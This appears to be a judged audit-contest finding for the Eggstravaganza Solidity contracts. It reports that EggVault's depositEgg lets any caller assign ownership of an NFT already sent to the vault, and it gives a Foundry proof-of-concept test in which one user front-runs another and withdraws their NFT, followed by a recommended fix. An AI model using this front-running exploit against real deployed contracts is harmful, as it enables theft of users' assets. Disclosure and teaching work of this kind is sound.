Eggstravaganza
First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Improper Deposit Validation in EggVault Enables NFT Theft via Front-Running

cyfe45

Summary

The EggVault contract contains a critical vulnerability allowing attackers to steal deposited NFTs through transaction front-running. Malicious actors can intercept and manipulate deposit registrations to claim ownership of transferred NFTs before legitimate users complete the deposit process.

Vulnerability Details

Affected Code:

// EggVault.sol
function depositEgg(uint256 tokenId, address depositor) public {
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred");
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = depositor; // Arbitrary depositor assignment
}

Technical Analysis:

  1. Decoupled Transfer/Registration:

    • NFT transfer and deposit registration are separate actions

    • Creates vulnerable time window between transfer and registration

  2. Arbitrary Depositor Assignment:

    • Any address can call depositEgg with arbitrary depositor parameter

    • No validation linking depositor to NFT transfer origin

  3. Attack Flow:

    • Monitor mempool for NFT transfers to vault

    • Front-run deposit transaction with malicious registration

    • Legitimate user's deposit transaction subsequently fails

Impact

Severity: Critical

  • Direct Asset Loss: Permanent NFT theft from legitimate users

  • High Likelihood: Easily exploitable with basic blockchain tools

  • Systemic Risk: Undermines entire vault functionality

Proof of Concept

Foundry Test Script:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
​
import {Test} from "forge-std/Test.sol";
import {EggstravaganzaNFT} from "../src/EggstravaganzaNFT.sol";
import {EggVault} from "../src/EggVault.sol";
import {EggHuntGame} from "../src/EggHuntGame.sol";
​
contract EggVaultTest is Test {
EggstravaganzaNFT nft;
EggVault vault;
EggHuntGame game;
​
address owner = makeAddr("owner");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
uint256 constant GAME_DURATION = 1 days;
uint256 tokenId;
​
function setUp() public {
vm.startPrank(owner);
nft = new EggstravaganzaNFT("EggNFT", "EGG");
vault = new EggVault();
game = new EggHuntGame(address(nft), address(vault));
nft.setGameContract(address(game));
vault.setEggNFT(address(nft));
game.startGame(GAME_DURATION);
vm.stopPrank();
​
vm.warp(game.startTime() + 1);
}
​
function testFrontrunDeposit() public {
// 1. Alice finds and gets an egg
vm.prank(alice);
game.searchForEgg();
tokenId = game.eggCounter();
​
// 2. Alice transfers NFT to vault directly
vm.prank(alice);
nft.transferFrom(alice, address(vault), tokenId);
​
// 3. Bob front-runs the deposit registration
vm.prank(bob);
vault.depositEgg(tokenId, bob);
// Verify attack succeeded
assertEq(vault.eggDepositors(tokenId), bob, "Bob should be depositor");
assertTrue(vault.storedEggs(tokenId), "Egg should be stored");
​
// 4. Verify Alice cannot deposit
vm.prank(alice);
vm.expectRevert("Egg already deposited");
vault.depositEgg(tokenId, alice);
​
// 5. Bob withdraws stolen NFT (after verification)
vm.prank(bob);
vault.withdrawEgg(tokenId);
assertEq(nft.ownerOf(tokenId), bob, "Bob should own NFT after withdrawal");
}
}

Key Test Results:

  1. Bob successfully claims ownership of Alice's NFT

  2. Alice's subsequent deposit attempts fail with "Egg already deposited"

  3. Bob withdraws NFT to their own address

Tools Used

  1. Foundry: For vulnerability reproduction and testing

  2. Manual Code Review: Identified decoupled transfer/deposit flow

  3. Deepseek: Exploring issue with Deepseek

Recommendations

Immediate Fix:

// Replace depositEgg with ERC721Receiver pattern
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes memory
) external returns (bytes4) {
require(msg.sender == address(eggNFT), "Invalid NFT");
require(!storedEggs[tokenId], "Already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = from; // Use actual transfer sender
return this.onERC721Received.selector;
}
​
// Remove depositEgg function

Additional Measures:

  1. Input Validation:

    require(from != address(0), "Invalid sender");

  2. Reentrancy Protection:

    modifier nonReentrant() {
    require(!locked, "Reentrant call");
    locked = true;
    _;
    locked = false;
    }

    Or use OpenZeppelin's ReentrancyGuard contract.

Post-Fix Verification:

  1. All deposits must occur through safeTransferFrom

  2. Depositor address automatically set to transfer initiator

  3. Eliminates arbitrary depositor assignment

  4. Atomic transfer+registration prevents front-running

Updates

Lead Judging Commences

m3dython Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!